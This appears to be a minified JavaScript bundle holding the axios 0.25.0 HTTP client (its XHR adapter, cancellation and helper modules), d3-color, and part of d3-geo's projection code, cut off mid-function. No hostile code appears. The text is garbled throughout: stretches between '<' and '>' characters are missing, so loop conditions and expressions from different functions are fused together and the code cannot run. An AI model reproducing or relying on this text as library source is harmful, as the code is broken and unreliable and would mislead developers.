r=n(3589),a=n(7297),o=n(9301),i=n(9774),l=n(1804),s=n(9145),u=n(5411),c=n(6467),d=n(221),f=n(9346);e.exports=function(e){return new Promise((function(t,n){var p,h=e.data,m=e.headers,v=e.responseType;function g(){e.cancelToken&&e.cancelToken.unsubscribe(p),e.signal&&e.signal.removeEventListener("abort",p)}r.isFormData(h)&&delete m["Content-Type"];var b=new XMLHttpRequest;if(e.auth){var y=e.auth.username||"",w=e.auth.password?unescape(encodeURIComponent(e.auth.password)):"";m.Authorization="Basic "+btoa(y+":"+w)}var x=l(e.baseURL,e.url);function E(){if(b){var r="getAllResponseHeaders"in b?s(b.getAllResponseHeaders()):null,o={data:v&&"text"!==v&&"json"!==v?b.response:b.responseText,status:b.status,statusText:b.statusText,headers:r,config:e,request:b};a((function(e){t(e),g()}),(function(e){n(e),g()}),o),b=null}}if(b.open(e.method.toUpperCase(),i(x,e.params,e.paramsSerializer),!0),b.timeout=e.timeout,"onloadend"in b?b.onloadend=E:b.onreadystatechange=function(){b&&4===b.readyState&&(0!==b.status||b.responseURL&&0===b.responseURL.indexOf("file:"))&&setTimeout(E)},b.onabort=function(){b&&(n(c("Request aborted",e,"ECONNABORTED",b)),b=null)},b.onerror=function(){n(c("Network Error",e,null,b)),b=null},b.ontimeout=function(){var t=e.timeout?"timeout of "+e.timeout+"ms exceeded":"timeout exceeded",r=e.transitional||d.transitional;e.timeoutErrorMessage&&(t=e.timeoutErrorMessage),n(c(t,e,r.clarifyTimeoutError?"ETIMEDOUT":"ECONNABORTED",b)),b=null},r.isStandardBrowserEnv()){var S=(e.withCredentials||u(x))&&e.xsrfCookieName?o.read(e.xsrfCookieName):void 0;S&&(m[e.xsrfHeaderName]=S)}"setRequestHeader"in b&&r.forEach(m,(function(e,t){"undefined"===typeof h&&"content-type"===t.toLowerCase()?delete m[t]:b.setRequestHeader(t,e)})),r.isUndefined(e.withCredentials)||(b.withCredentials=!!e.withCredentials),v&&"json"!==v&&(b.responseType=e.responseType),"function"===typeof e.onDownloadProgress&&b.addEventListener("progress",e.onDownloadProgress),"function"===typeof e.onUploadProgress&&b.upload&&b.upload.addEventListener("progress",e.onUploadProgress),(e.cancelToken||e.signal)&&(p=function(e){b&&(n(!e||e&&e.type?new f("canceled"):e),b.abort(),b=null)},e.cancelToken&&e.cancelToken.subscribe(p),e.signal&&(e.signal.aborted?p():e.signal.addEventListener("abort",p))),h||(h=null),b.send(h)}))}},8036:function(e,t,n){"use strict";var r=n(3589),a=n(4049),o=n(3773),i=n(777);var l=function e(t){var n=new o(t),l=a(o.prototype.request,n);return r.extend(l,o.prototype,n),r.extend(l,n),l.create=function(n){return e(i(t,n))},l}(n(221));l.Axios=o,l.Cancel=n(9346),l.CancelToken=n(6857),l.isCancel=n(5517),l.VERSION=n(7600).version,l.all=function(e){return Promise.all(e)},l.spread=n(8089),l.isAxiosError=n(9580),e.exports=l,e.exports.default=l},9346:function(e){"use strict";function t(e){this.message=e}t.prototype.toString=function(){return"Cancel"+(this.message?": "+this.message:"")},t.prototype.__CANCEL__=!0,e.exports=t},6857:function(e,t,n){"use strict";var r=n(9346);function a(e){if("function"!==typeof e)throw new TypeError("executor must be a function.");var t;this.promise=new Promise((function(e){t=e}));var n=this;this.promise.then((function(e){if(n._listeners){var t,r=n._listeners.length;for(t=0;t=200&&e<300},headers:{common:{Accept:"application/json, text/plain, */*"}}};r.forEach(["delete","get","head"],(function(e){s.headers[e]={}})),r.forEach(["post","put","patch"],(function(e){s.headers[e]=r.merge(i)})),e.exports=s},7600:function(e){e.exports={version:"0.25.0"}},4049:function(e){"use strict";e.exports=function(e,t){return function(){for(var n=new Array(arguments.length),r=0;r=0)return;i[t]="set-cookie"===t?(i[t]?i[t]:[]).concat([n]):i[t]?i[t]+", "+n:n}})),i):i}},8089:function(e){"use strict";e.exports=function(e){return function(t){return e.apply(null,t)}}},7835:function(e,t,n){"use strict";var r=n(7600).version,a={};["object","boolean","number","function","string","symbol"].forEach((function(e,t){a[e]=function(n){return typeof n===e||"a"+(t<1?"n ":" ")+e}}));var o={};a.transitional=function(e,t,n){function a(e,t){return"[Axios v"+r+"] Transitional option '"+e+"'"+t+(n?". "+n:"")}return function(n,r,i){if(!1===e)throw new Error(a(r," has been removed"+(t?" in "+t:"")));return t&&!o[r]&&(o[r]=!0,console.warn(a(r," has been deprecated since v"+t+" and will be removed in the near future"))),!e||e(n,r,i)}},e.exports={assertOptions:function(e,t,n){if("object"!==typeof e)throw new TypeError("options must be an object");for(var r=Object.keys(e),a=r.length;a-- >0;){var o=r[a],i=t[o];if(i){var l=e[o],s=void 0===l||i(l,o,e);if(!0!==s)throw new TypeError("option "+o+" must be "+s)}else if(!0!==n)throw Error("Unknown option "+o)}},validators:a}},3589:function(e,t,n){"use strict";var r=n(4049),a=Object.prototype.toString;function o(e){return Array.isArray(e)}function i(e){return"undefined"===typeof e}function l(e){return"[object ArrayBuffer]"===a.call(e)}function s(e){return null!==e&&"object"===typeof e}function u(e){if("[object Object]"!==a.call(e))return!1;var t=Object.getPrototypeOf(e);return null===t||t===Object.prototype}function c(e){return"[object Function]"===a.call(e)}function d(e,t){if(null!==e&&"undefined"!==typeof e)if("object"!==typeof e&&(e=[e]),o(e))for(var n=0,r=e.length;n>8&15|t>>4&240,t>>4&15|240&t,(15&t)<<4|15&t,1):8===n?S(t>>24&255,t>>16&255,t>>8&255,(255&t)/255):4===n?S(t>>12&15|t>>8&240,t>>8&15|t>>4&240,t>>4&15|240&t,((15&t)<<4|15&t)/255):null):(t=f.exec(e))?new C(t[1],t[2],t[3],1):(t=p.exec(e))?new C(255*t[1]/100,255*t[2]/100,255*t[3]/100,1):(t=h.exec(e))?S(t[1],t[2],t[3],t[4]):(t=m.exec(e))?S(255*t[1]/100,255*t[2]/100,255*t[3]/100,t[4]):(t=v.exec(e))?A(t[1],t[2]/100,t[3]/100,1):(t=g.exec(e))?A(t[1],t[2]/100,t[3]/100,t[4]):b.hasOwnProperty(e)?E(b[e]):"transparent"===e?new C(NaN,NaN,NaN,0):null}function E(e){return new C(e>>16&255,e>>8&255,255&e,1)}function S(e,t,n,r){return r<=0&&(e=t=n=NaN),new C(e,t,n,r)}function k(e){return e instanceof o||(e=x(e)),e?new C((e=e.rgb()).r,e.g,e.b,e.opacity):new C}function _(e,t,n,r){return 1===arguments.length?k(e):new C(e,t,n,null==r?1:r)}function C(e,t,n,r){this.r=+e,this.g=+t,this.b=+n,this.opacity=+r}function P(){return"#"+T(this.r)+T(this.g)+T(this.b)}function N(){var e=this.opacity;return(1===(e=isNaN(e)?1:Math.max(0,Math.min(1,e)))?"rgb(":"rgba(")+Math.max(0,Math.min(255,Math.round(this.r)||0))+", "+Math.max(0,Math.min(255,Math.round(this.g)||0))+", "+Math.max(0,Math.min(255,Math.round(this.b)||0))+(1===e?")":", "+e+")")}function T(e){return((e=Math.max(0,Math.min(255,Math.round(e)||0)))<16?"0":"")+e.toString(16)}function A(e,t,n,r){return r<=0?e=t=n=NaN:n<=0||n>=1?e=t=NaN:t<=0&&(e=NaN),new L(e,t,n,r)}function M(e){if(e instanceof L)return new L(e.h,e.s,e.l,e.opacity);if(e instanceof o||(e=x(e)),!e)return new L;if(e instanceof L)return e;var t=(e=e.rgb()).r/255,n=e.g/255,r=e.b/255,a=Math.min(t,n,r),i=Math.max(t,n,r),l=NaN,s=i-a,u=(i+a)/2;return s?(l=t===i?(n-r)/s+6*(n0&&u<1?0:l,new L(l,s,u,e.opacity)}function L(e,t,n,r){this.h=+e,this.s=+t,this.l=+n,this.opacity=+r}function O(e,t,n){return 255*(e<60?t+(n-t)*e/60:e<180?n:e<240?t+(n-t)*(240-e)/60:t)}r(o,x,{copy:function(e){return Object.assign(new this.constructor,this,e)},displayable:function(){return this.rgb().displayable()},hex:y,formatHex:y,formatHsl:function(){return M(this).formatHsl()},formatRgb:w,toString:w}),r(C,_,a(o,{brighter:function(e){return e=null==e?l:Math.pow(l,e),new C(this.r*e,this.g*e,this.b*e,this.opacity)},darker:function(e){return e=null==e?i:Math.pow(i,e),new C(this.r*e,this.g*e,this.b*e,this.opacity)},rgb:function(){return this},displayable:function(){return-.5<=this.r&&this.r<255.5&&-.5<=this.g&&this.g<255.5&&-.5<=this.b&&this.b<255.5&&0<=this.opacity&&this.opacity<=1},hex:P,formatHex:P,formatRgb:N,toString:N})),r(L,(function(e,t,n,r){return 1===arguments.length?M(e):new L(e,t,n,null==r?1:r)}),a(o,{brighter:function(e){return e=null==e?l:Math.pow(l,e),new L(this.h,this.s,this.l*e,this.opacity)},darker:function(e){return e=null==e?i:Math.pow(i,e),new L(this.h,this.s,this.l*e,this.opacity)},rgb:function(){var e=this.h%360+360*(this.h<0),t=isNaN(e)||isNaN(this.s)?0:this.s,n=this.l,r=n+(n<.5?n:1-n)*t,a=2*n-r;return new C(O(e>=240?e-240:e+120,a,r),O(e,a,r),O(e<120?e+240:e-120,a,r),this.opacity)},displayable:function(){return(0<=this.s&&this.s<=1||isNaN(this.s))&&0<=this.l&&this.l<=1&&0<=this.opacity&&this.opacity<=1},formatHsl:function(){var e=this.opacity;return(1===(e=isNaN(e)?1:Math.max(0,Math.min(1,e)))?"hsl(":"hsla(")+(this.h||0)+", "+100*(this.s||0)+"%, "+100*(this.l||0)+"%"+(1===e?")":", "+e+")")}}))},9958:function(e,t,n){"use strict";n.r(t),n.d(t,{geoAlbers:function(){return Pr},geoAlbersUsa:function(){return Nr},geoArea:function(){return ie},geoAzimuthalEqualArea:function(){return Lr},geoAzimuthalEqualAreaRaw:function(){return Mr},geoAzimuthalEquidistant:function(){return Fr},geoAzimuthalEquidistantRaw:function(){return Or},geoBounds:function(){return ze},geoCentroid:function(){return Je},geoCircle:function(){return ct},geoClipAntimeridian:function(){return Pt},geoClipCircle:function(){return Nt},geoClipExtent:function(){return jt},geoClipRectangle:function(){return It},geoConicConformal:function(){return Hr},geoConicConformalRaw:function(){return Dr},geoConicEqualArea:function(){return Cr},geoConicEqualAreaRaw:function(){return _r},geoConicEquidistant:function(){return Vr},geoConicEquidistantRaw:function(){return Wr},geoContains:function(){return Jt},geoDistance:function(){return Vt},geoEqualEarth:function(){return Qr},geoEqualEarthRaw:function(){return Yr},geoEquirectangular:function(){return Ur},geoEquirectangularRaw:function(){return zr},geoGnomonic:function(){return Jr},geoGnomonicRaw:function(){return Xr},geoGraticule:function(){return rn},geoGraticule10:function(){return an},geoIdentity:function(){return ea},geoInterpolate:function(){return on},geoLength:function(){return zt},geoMercator:function(){return jr},geoMercatorRaw:function(){return Ir},geoNaturalEarth1:function(){return na},geoNaturalEarth1Raw:function(){return ta},geoOrthographic:function(){return aa},geoOrthographicRaw:function(){return ra},geoPath:function(){return ur},geoProjection:function(){return Er},geoProjectionMutator:function(){return Sr},geoRotation:function(){return lt},geoStereographic:function(){return ia},geoStereographicRaw:function(){return oa},geoStream:function(){return j},geoTransform:function(){return cr},geoTransverseMercator:function(){return sa},geoTransverseMercatorRaw:function(){return la}});var r=n(5671),a=n(3144),o=function(){function e(){(0,r.Z)(this,e),this._partials=new Float64Array(32),this._n=0}return(0,a.Z)(e,[{key:"add",value:function(e){for(var t=this._partials,n=0,r=0;r0){for(o=r[--a];a>0&&(e=o,!(n=(t=r[--a])-((o=e+t)-e))););a>0&&(n<0&&r[a-1]<0||n>0&&r[a-1]>0)&&(t=2*n)==(e=o+t)-o&&(o=e)}return o}}]),e}();var i=1e-6,l=1e-12,s=Math.PI,u=s/2,c=s/4,d=2*s,f=180/s,p=s/180,h=Math.abs,m=Math.atan,v=Math.atan2,g=Math.cos,b=Math.ceil,y=Math.exp,w=(Math.floor,Math.hypot),x=Math.log,E=Math.pow,S=Math.sin,k=Math.sign||function(e){return e>0?1:e<0?-1:0},_=Math.sqrt,C=Math.tan;function P(e){return e>1?0:e<-1?s:Math.acos(e)}function N(e){return e>1?u:e<-1?-u:Math.asin(e)}function T(e){return(e=S(e/2))*e}function A(){}function M(e,t){e&&O.hasOwnProperty(e.type)&&O[e.type](e,t)}var L={Feature:function(e,t){M(e.geometry,t)},FeatureCollection:function(e,t){for(var n=e.features,r=-1,a=n.length;++r=0?1:-1,a=r*n,o=g(t=(t*=p)/2+c),i=S(t),l=z*i,s=H*o+l*g(a),u=l*r*S(a);J.add(v(u,s)),D=e,H=o,z=i}function ie(e){return ee=new o,j(e,te),2*ee}function le(e){return[v(e[1],e[0]),N(e[2])]}function se(e){var t=e[0],n=e[1],r=g(n);return[r*g(t),r*S(t),S(n)]}function ue(e,t){return e[0]*t[0]+e[1]*t[1]+e[2]*t[2]}function ce(e,t){return[e[1]*t[2]-e[2]*t[1],e[2]*t[0]-e[0]*t[2],e[0]*t[1]-e[1]*t[0]]}function de(e,t){e[0]+=t[0],e[1]+=t[1],e[2]+=t[2]}function fe(e,t){return[e[0]*t,e[1]*t,e[2]*t]}function pe(e){var t=_(e[0]*e[0]+e[1]*e[1]+e[2]*e[2]);e[0]/=t,e[1]/=t,e[2]/=t}var he,me,ve,ge,be,ye,we,xe,Ee,Se,ke,_e,Ce,Pe,Ne,Te,Ae={point:Me,lineStart:Oe,lineEnd:Fe,polygonStart:function(){Ae.point=Ie,Ae.lineStart=je,Ae.lineEnd=Re,Y=new o,te.polygonStart()},polygonEnd:function(){te.polygonEnd(),Ae.point=Me,Ae.lineStart=Oe,Ae.lineEnd=Fe,J<0?(U=-(V=180),W=-(q=90)):Y>i?q=90:Y<-i&&(W=-90),X[0]=U,X[1]=V},sphere:function(){U=-(V=180),W=-(q=90)}};function Me(e,t){Q.push(X=[U=e,V=e]),tq&&(q=t)}function Le(e,t){var n=se([e*p,t*p]);if($){var r=ce($,n),a=ce([r[1],-r[0],0],r);pe(a),a=le(a);var o,i=e-Z,l=i>0?1:-1,s=a[0]*f*l,u=h(i)>180;u^(l*Zq&&(q=o):u^(l*Z<(s=(s+360)%360-180)&&sq&&(q=t)),u?eBe(U,V)&&(V=e):Be(e,V)>Be(U,V)&&(U=e):V>=U?(eV&&(V=e)):e>Z?Be(U,e)>Be(U,V)&&(V=e):Be(e,V)>Be(U,V)&&(U=e)}else Q.push(X=[U=e,V=e]);tq&&(q=t),$=n,Z=e}function Oe(){Ae.point=Le}function Fe(){X[0]=U,X[1]=V,Ae.point=Me,$=null}function Ie(e,t){if($){var n=e-Z;Y.add(h(n)>180?n+(n>0?360:-360):n)}else K=e,G=t;te.point(e,t),Le(e,t)}function je(){te.lineStart()}function Re(){Ie(K,G),te.lineEnd(),h(Y)>i&&(U=-(V=180)),X[0]=U,X[1]=V,$=null}function Be(e,t){return(t-=e)<0?t+360:t}function De(e,t){return e[0]-t[0]}function He(e,t){return e[0]<=e[1]?e[0]<=t&&t<=e[1]:tBe(r[0],r[1])&&(r[1]=a[1]),Be(a[0],r[1])>Be(r[0],r[1])&&(r[0]=a[0])):o.push(r=a);for(i=-1/0,t=0,r=o[n=o.length-1];t<=n;r=a,++t)a=o[t],(l=Be(r[1],a[0]))>i&&(i=l,U=a[0],V=r[1])}return Q=X=null,U===1/0||W===1/0?[[NaN,NaN],[NaN,NaN]]:[[U,W],[V,q]]}var Ue={sphere:A,point:We,lineStart:qe,lineEnd:Ge,polygonStart:function(){Ue.lineStart=$e,Ue.lineEnd=Ye},polygonEnd:function(){Ue.lineStart=qe,Ue.lineEnd=Ge}};function We(e,t){e*=p;var n=g(t*=p);Ve(n*g(e),n*S(e),S(t))}function Ve(e,t,n){++he,ve+=(e-ve)/he,ge+=(t-ge)/he,be+=(n-be)/he}function qe(){Ue.point=Ze}function Ze(e,t){e*=p;var n=g(t*=p);Pe=n*g(e),Ne=n*S(e),Te=S(t),Ue.point=Ke,Ve(Pe,Ne,Te)}function Ke(e,t){e*=p;var n=g(t*=p),r=n*g(e),a=n*S(e),o=S(t),i=v(_((i=Ne*o-Te*a)*i+(i=Te*r-Pe*o)*i+(i=Pe*a-Ne*r)*i),Pe*r+Ne*a+Te*o);me+=i,ye+=i*(Pe+(Pe=r)),we+=i*(Ne+(Ne=a)),xe+=i*(Te+(Te=o)),Ve(Pe,Ne,Te)}function Ge(){Ue.point=We}function $e(){Ue.point=Qe}function Ye(){Xe(_e,Ce),Ue.point=We}function Qe(e,t){_e=e,Ce=t,e*=p,t*=p,Ue.point=Xe;var n=g(t);Pe=n*g(e),Ne=n*S(e),Te=S(t),Ve(Pe,Ne,Te)}function Xe(e,t){e*=p;var n=g(t*=p),r=n*g(e),a=n*S(e),o=S(t),i=Ne*o-Te*a,l=Te*r-Pe*o,s=Pe*a-Ne*r,u=w(i,l,s),c=N(u),d=u&&-c/u;Ee.add(d*i),Se.add(d*l),ke.add(d*s),me+=c,ye+=c*(Pe+(Pe=r)),we+=c*(Ne+(Ne=a)),xe+=c*(Te+(Te=o)),Ve(Pe,Ne,Te)}function Je(e){he=me=ve=ge=be=ye=we=xe=0,Ee=new o,Se=new o,ke=new o,j(e,Ue);var t=+Ee,n=+Se,r=+ke,a=w(t,n,r);return as?e+Math.round(-e/d)*d:e,t]}function rt(e,t,n){return(e%=d)?t||n?tt(ot(e),it(t,n)):ot(e):t||n?it(t,n):nt}function at(e){return function(t,n){return[(t+=e)>s?t-d:t<-s?t+d:t,n]}}function ot(e){var t=at(e);return t.invert=at(-e),t}function it(e,t){var n=g(e),r=S(e),a=g(t),o=S(t);function i(e,t){var i=g(t),l=g(e)*i,s=S(e)*i,u=S(t),c=u*n+l*r;return[v(s*a-c*o,l*n-u*r),N(c*a+s*o)]}return i.invert=function(e,t){var i=g(t),l=g(e)*i,s=S(e)*i,u=S(t),c=u*a-s*o;return[v(s*a+u*o,l*n+c*r),N(c*n-l*r)]},i}function lt(e){function t(t){return(t=e(t[0]*p,t[1]*p))[0]*=f,t[1]*=f,t}return e=rt(e[0]*p,e[1]*p,e.length>2?e[2]*p:0),t.invert=function(t){return(t=e.invert(t[0]*p,t[1]*p))[0]*=f,t[1]*=f,t},t}function st(e,t,n,r,a,o){if(n){var i=g(t),l=S(t),s=r*n;null==a?(a=t+r*d,o=t-s/2):(a=ut(i,a),o=ut(i,o),(r>0?ao)&&(a+=r*d));for(var u,c=a;r>0?c>o:c1&&t.push(t.pop().concat(t.shift()))},result:function(){var n=t;return t=[],e=null,n}}}function ft(e,t){return h(e[0]-t[0])=0;--o)a.point((c=u[o])[0],c[1]);else r(f.x,f.p.x,-1,a);f=f.p}u=(f=f.o).z,p=!p}while(!f.v);a.lineEnd()}}}function mt(e){if(t=e.length){for(var t,n,r=0,a=e[0];++r=0?1:-1,j=I*F,R=j>s,B=_*L;if(h.add(v(B*I*S(j),C*O+B*g(j))),f+=R?F+I*d:F,R^E>=n^A>=n){var D=ce(se(x),se(T));pe(D);var H=ce(l,D);pe(H);var z=(R^F>=0?-1:1)*N(H[2]);(r>z||r===z&&(D[0]||D[1]))&&(p+=R^F>=0?1:-1)}}return(f<-i||f0){for(d||(a.polygonStart(),d=!0),a.lineStart(),e=0;e1&&2&s&&f.push(f.pop().concat(f.shift())),i.push(f.filter(_t))}return f}}function _t(e){return e.length>1}function Ct(e,t){return((e=e.x)[0]<0?e[1]-u-i:u-e[1])-((t=t.x)[0]<0?t[1]-u-i:u-t[1])}var Pt=kt((function(){return!0}),(function(e){var t,n=NaN,r=NaN,a=NaN;return{lineStart:function(){e.lineStart(),t=1},point:function(o,l){var c=o>0?s:-s,d=h(o-n);h(d-s)0?u:-u),e.point(a,r),e.lineEnd(),e.lineStart(),e.point(c,r),e.point(o,r),t=0):a!==c&&d>=s&&(h(n-a)i?m((S(t)*(o=g(r))*S(n)-S(r)*(a=g(t))*S(e))/(a*o*l)):(t+r)/2}(n,r,o,l),e.point(a,r),e.lineEnd(),e.lineStart(),e.point(c,r),t=0),e.point(n=o,r=l),a=c},lineEnd:function(){e.lineEnd(),n=r=NaN},clean:function(){return 2-t}}}),(function(e,t,n,r){var a;if(null==e)a=n*u,r.point(-s,a),r.point(0,a),r.point(s,a),r.point(s,0),r.point(s,-a),r.point(0,-a),r.point(-s,-a),r.point(-s,0),r.point(-s,a);else if(h(e[0]-t[0])>i){var o=e[0]0,a=h(t)>i;function o(e,n){return g(e)*g(n)>t}function l(e,n,r){var a=[1,0,0],o=ce(se(e),se(n)),l=ue(o,o),u=o[0],c=l-u*u;if(!c)return!r&&e;var d=t*l/c,f=-t*u/c,p=ce(a,o),m=fe(a,d);de(m,fe(o,f));var v=p,g=ue(m,v),b=ue(v,v),y=g*g-b*(ue(m,m)-1);if(!(y<0)){var w=_(y),x=fe(v,(-g-w)/b);if(de(x,m),x=le(x),!r)return x;var E,S=e[0],k=n[0],C=e[1],P=n[1];k0^x[1]<(h(x[0]-S)s^(S<=x[0]&&x[0]<=k)){var A=fe(v,(-g+w)/b);return de(A,m),[x,le(A)]}}}function u(t,n){var a=r?e:s-e,o=0;return t<-a?o|=1:t>a&&(o|=2),n<-a?o|=4:n>a&&(o|=8),o}return kt(o,(function(e){var t,n,i,c,d;return{lineStart:function(){c=i=!1,d=1},point:function(f,p){var h,m=[f,p],v=o(f,p),g=r?v?0:u(f,p):v?u(f+(f<0?s:-s),p):0;if(!t&&(c=i=v)&&e.lineStart(),v!==i&&(!(h=l(t,m))||ft(t,h)||ft(m,h))&&(m[2]=1),v!==i)d=0,v?(e.lineStart(),h=l(m,t),e.point(h[0],h[1])):(h=l(t,m),e.point(h[0],h[1],2),e.lineEnd()),t=h;else if(a&&t&&r^v){var b;g&n||!(b=l(m,t,!0))||(d=0,r?(e.lineStart(),e.point(b[0][0],b[0][1]),e.point(b[1][0],b[1][1]),e.lineEnd()):(e.point(b[1][0],b[1][1]),e.lineEnd(),e.lineStart(),e.point(b[0][0],b[0][1],3)))}!v||t&&ft(t,m)||e.point(m[0],m[1]),t=m,i=v,n=g},lineEnd:function(){i&&e.lineEnd(),t=null},clean:function(){return d|(c&&i)<<1}}}),(function(t,r,a,o){st(o,e,n,a,t,r)}),r?[0,-e]:[-s,e-s])}var Tt,At,Mt,Lt,Ot=1e9,Ft=-Ot;function It(e,t,n,r){function a(a,o){return e<=a&&a<=n&&t<=o&&o<=r}function o(a,o,i,s){var c=0,d=0;if(null==a||(c=l(a,i))!==(d=l(o,i))||u(a,o)<0^i>0)do{s.point(0===c||3===c?e:n,c>1?r:t)}while((c=(c+i+4)%4)!==d);else s.point(o[0],o[1])}function l(r,a){return h(r[0]-e)0?0:3:h(r[0]-n)0?2:1:h(r[1]-t)0?1:0:a>0?3:2}function s(e,t){return u(e.x,t.x)}function u(e,t){var n=l(e,1),r=l(t,1);return n!==r?n-r:0===n?t[1]-e[1]:1===n?e[0]-t[0]:2===n?e[1]-t[1]:t[0]-e[0]}return function(i){var l,u,c,d,f,p,h,m,v,g,b,y=i,w=dt(),x={point:E,lineStart:function(){x.point=S,u&&u.push(c=[]);g=!0,v=!1,h=m=NaN},lineEnd:function(){l&&(S(d,f),p&&v&&w.rejoin(),l.push(w.result()));x.point=E,v&&y.lineEnd()},polygonStart:function(){y=w,l=[],u=[],b=!0},polygonEnd:function(){var t=function(){for(var t=0,n=0,a=u.length;nr&&(f-o)*(r-i)>(p-i)*(e-o)&&++t:p<=r&&(f-o)*(r-i)<(p-i)*(e-o)&&--t;return t}(),n=b&&t,a=(l=St(l)).length;(n||a)&&(i.polygonStart(),n&&(i.lineStart(),o(null,null,1,i),i.lineEnd()),a&&ht(l,s,t,o,i),i.polygonEnd());y=i,l=u=c=null}};function E(e,t){a(e,t)&&y.point(e,t)}function S(o,i){var l=a(o,i);if(u&&c.push([o,i]),g)d=o,f=i,p=l,g=!1,l&&(y.lineStart(),y.point(o,i));else if(l&&v)y.point(o,i);else{var s=[h=Math.max(Ft,Math.min(Ot,h)),m=Math.max(Ft,Math.min(Ot,m))],w=[o=Math.max(Ft,Math.min(Ot,o)),i=Math.max(Ft,Math.min(Ot,i))];!function(e,t,n,r,a,o){var i,l=e[0],s=e[1],u=0,c=1,d=t[0]-l,f=t[1]-s;if(i=n-l,d||!(i>0)){if(i/=d,d<0){if(i0){if(i>c)return;i>u&&(u=i)}if(i=a-l,d||!(i<0)){if(i/=d,d<0){if(i>c)return;i>u&&(u=i)}else if(d>0){if(i0)){if(i/=f,f<0){if(i0){if(i>c)return;i>u&&(u=i)}if(i=o-s,f||!(i<0)){if(i/=f,f<0){if(i>c)return;i>u&&(u=i)}else if(f>0){if(i0&&(e[0]=l+u*d,e[1]=s+u*f),c<1&&(t[0]=l+c*d,t[1]=s+c*f),!0}}}}}(s,w,e,t,n,r)?l&&(y.lineStart(),y.point(o,i),b=!1):(v||(y.lineStart(),y.point(s[0],s[1])),y.point(w[0],w[1]),l||y.lineEnd(),b=!1)}h=o,m=i,v=l}return x}}function jt(){var e,t,n,r=0,a=0,o=960,i=500;return n={stream:function(n){return e&&t===n?e:e=It(r,a,o,i)(t=n)},extent:function(l){return arguments.length?(r=+l[0][0],a=+l[0][1],o=+l[1][0],i=+l[1][1],e=t=null,n):[[r,a],[o,i]]}}}var Rt={sphere:A,point:A,lineStart:function(){Rt.point=Dt,Rt.lineEnd=Bt},lineEnd:A,polygonStart:A,polygonEnd:A};function Bt(){Rt.point=Rt.lineEnd=A}function Dt(e,t){At=e*=p,Mt=S(t*=p),Lt=g(t),Rt.point=Ht}function Ht(e,t){e*=p;var n=S(t*=p),r=g(t),a=h(e-At),o=g(a),i=r*S(a),l=Lt*n-Mt*r*o,s=Mt*n+Lt*r*o;Tt.add(v(_(i*i+l*l),s)),At=e,Mt=n,Lt=r}function zt(e){return Tt=new o,j(e,Rt),+Tt}var Ut=[null,null],Wt={type:"LineString",coordinates:Ut};function Vt(e,t){return Ut[0]=e,Ut[1]=t,zt(Wt)}var qt={Feature:function(e,t){return Kt(e.geometry,t)},FeatureCollection:function(e,t){for(var n=e.features,r=-1,a=n.length;++r0&&(a=Vt(e[o],e[o-1]))>0&&n<=a&&r<=a&&(n+r-a)*(1-Math.pow((n-r)/a,2))i})).map(u)).concat(en(b(o/m)*m,a,m).filter((function(e){return h(e%g)>i})).map(c))}return w.lines=function(){return x().map((function(e){return{type:"LineString",coordinates:e}}))},w.outline=function(){return{type:"Polygon",coordinates:[d(r).concat(f(l).slice(1),d(n).reverse().slice(1),f(s).reverse().slice(1))]}},w.extent=function(e){return arguments.length?w.extentMajor(e).extentMinor(e):w.extentMinor()},w.extentMajor=function(e){return arguments.length?(r=+e[0][0],n=+e[1][0],s=+e[0][1],l=+e[1][1],r>n&&(e=r,r=n,n=e),s>l&&(e=s,s=l,l=e),w.precision(y)):[[r,s],[n,l]]},w.extentMinor=function(n){return arguments.length?(t=+n[0][0],e=+n[1][0],o=+n[0][1],a=+n[1][1],t>e&&(n=t,t=e,e=n),o>a&&(n=o,o=a,a=n),w.precision(y)):[[t,o],[e,a]]},w.step=function(e){return arguments.length?w.stepMajor(e).stepMinor(e):w.stepMinor()},w.stepMajor=function(e){return arguments.length?(v=+e[0],g=+e[1],w):[v,g]},w.stepMinor=function(e){return arguments.length?(p=+e[0],m=+e[1],w):[p,m]},w.precision=function(i){return arguments.length?(y=+i,u=tn(o,a,90),c=nn(t,e,y),d=tn(s,l,90),f=nn(r,n,y),w):y},w.extentMajor([[-180,-89.999999],[180,89.999999]]).extentMinor([[-180,-80.000001],[180,80.000001]])}function an(){return rn()()}function on(e,t){var n=e[0]*p,r=e[1]*p,a=t[0]*p,o=t[1]*p,i=g(r),l=S(r),s=g(o),u=S(o),c=i*g(n),d=i*S(n),h=s*g(a),m=s*S(a),b=2*N(_(T(o-r)+i*s*T(a-n))),y=S(b),w=b?function(e){var t=S(e*=b)/y,n=S(b-e)/y,r=n*c+t*h,a=n*d+t*m,o=n*l+t*u;return[v(a,r)*f,v(o,_(r*r+a*a))*f]}:function(){return[n*f,r*f]};return w.distance=b,w}var ln,sn,un,cn,dn=function(e){return e},fn=new o,pn=new o,hn={point:A,lineStart:A,lineEnd:A,polygonStart:function(){hn.lineStart=mn,hn.lineEnd=bn},polygonEnd:function(){hn.lineStart=hn.lineEnd=hn.point=A,fn.add(h(pn)),pn=new o},result:function(){var e=fn/2;return fn=new o,e}};function mn(){hn.point=vn}function vn(e,t){hn.point=gn,ln=un=e,sn=cn=t}function gn(e,t){pn.add(cn*e-un*t),un=e,cn=t}function bn(){gn(ln,sn)}var yn=hn,wn=1/0,xn=wn,En=-wn,Sn=En,kn={point:function(e,t){eEn&&(En=e);tSn&&(Sn=t)},lineStart:A,lineEnd:A,polygonStart:A,polygonEnd:A,result:function(){var e=[[wn,xn],[En,Sn]];return En=Sn=-(xn=wn=1/0),e}};var _n,Cn,Pn,Nn,Tn=kn,An=0,Mn=0,Ln=0,On=0,Fn=0,In=0,jn=0,Rn=0,Bn=0,Dn={point:Hn,lineStart:zn,lineEnd:Vn,polygonStart:function(){Dn.lineStart=qn,Dn.lineEnd=Zn},polygonEnd:function(){Dn.point=Hn,Dn.lineStart=zn,Dn.lineEnd=Vn},result:function(){var e=Bn?[jn/Bn,Rn/Bn]:In?[On/In,Fn/In]:Ln?[An/Ln,Mn/Ln]:[NaN,NaN];return An=Mn=Ln=On=Fn=In=jn=Rn=Bn=0,e}};function Hn(e,t){An+=e,Mn+=t,++Ln}function zn(){Dn.point=Un}function Un(e,t){Dn.point=Wn,Hn(Pn=e,Nn=t)}function Wn(e,t){var n=e-Pn,r=t-Nn,a=_(n*n+r*r);On+=a*(Pn+e)/2,Fn+=a*(Nn+t)/2,In+=a,Hn(Pn=e,Nn=t)}function Vn(){Dn.point=Hn}function qn(){Dn.point=Kn}function Zn(){Gn(_n,Cn)}function Kn(e,t){Dn.point=Gn,Hn(_n=Pn=e,Cn=Nn=t)}function Gn(e,t){var 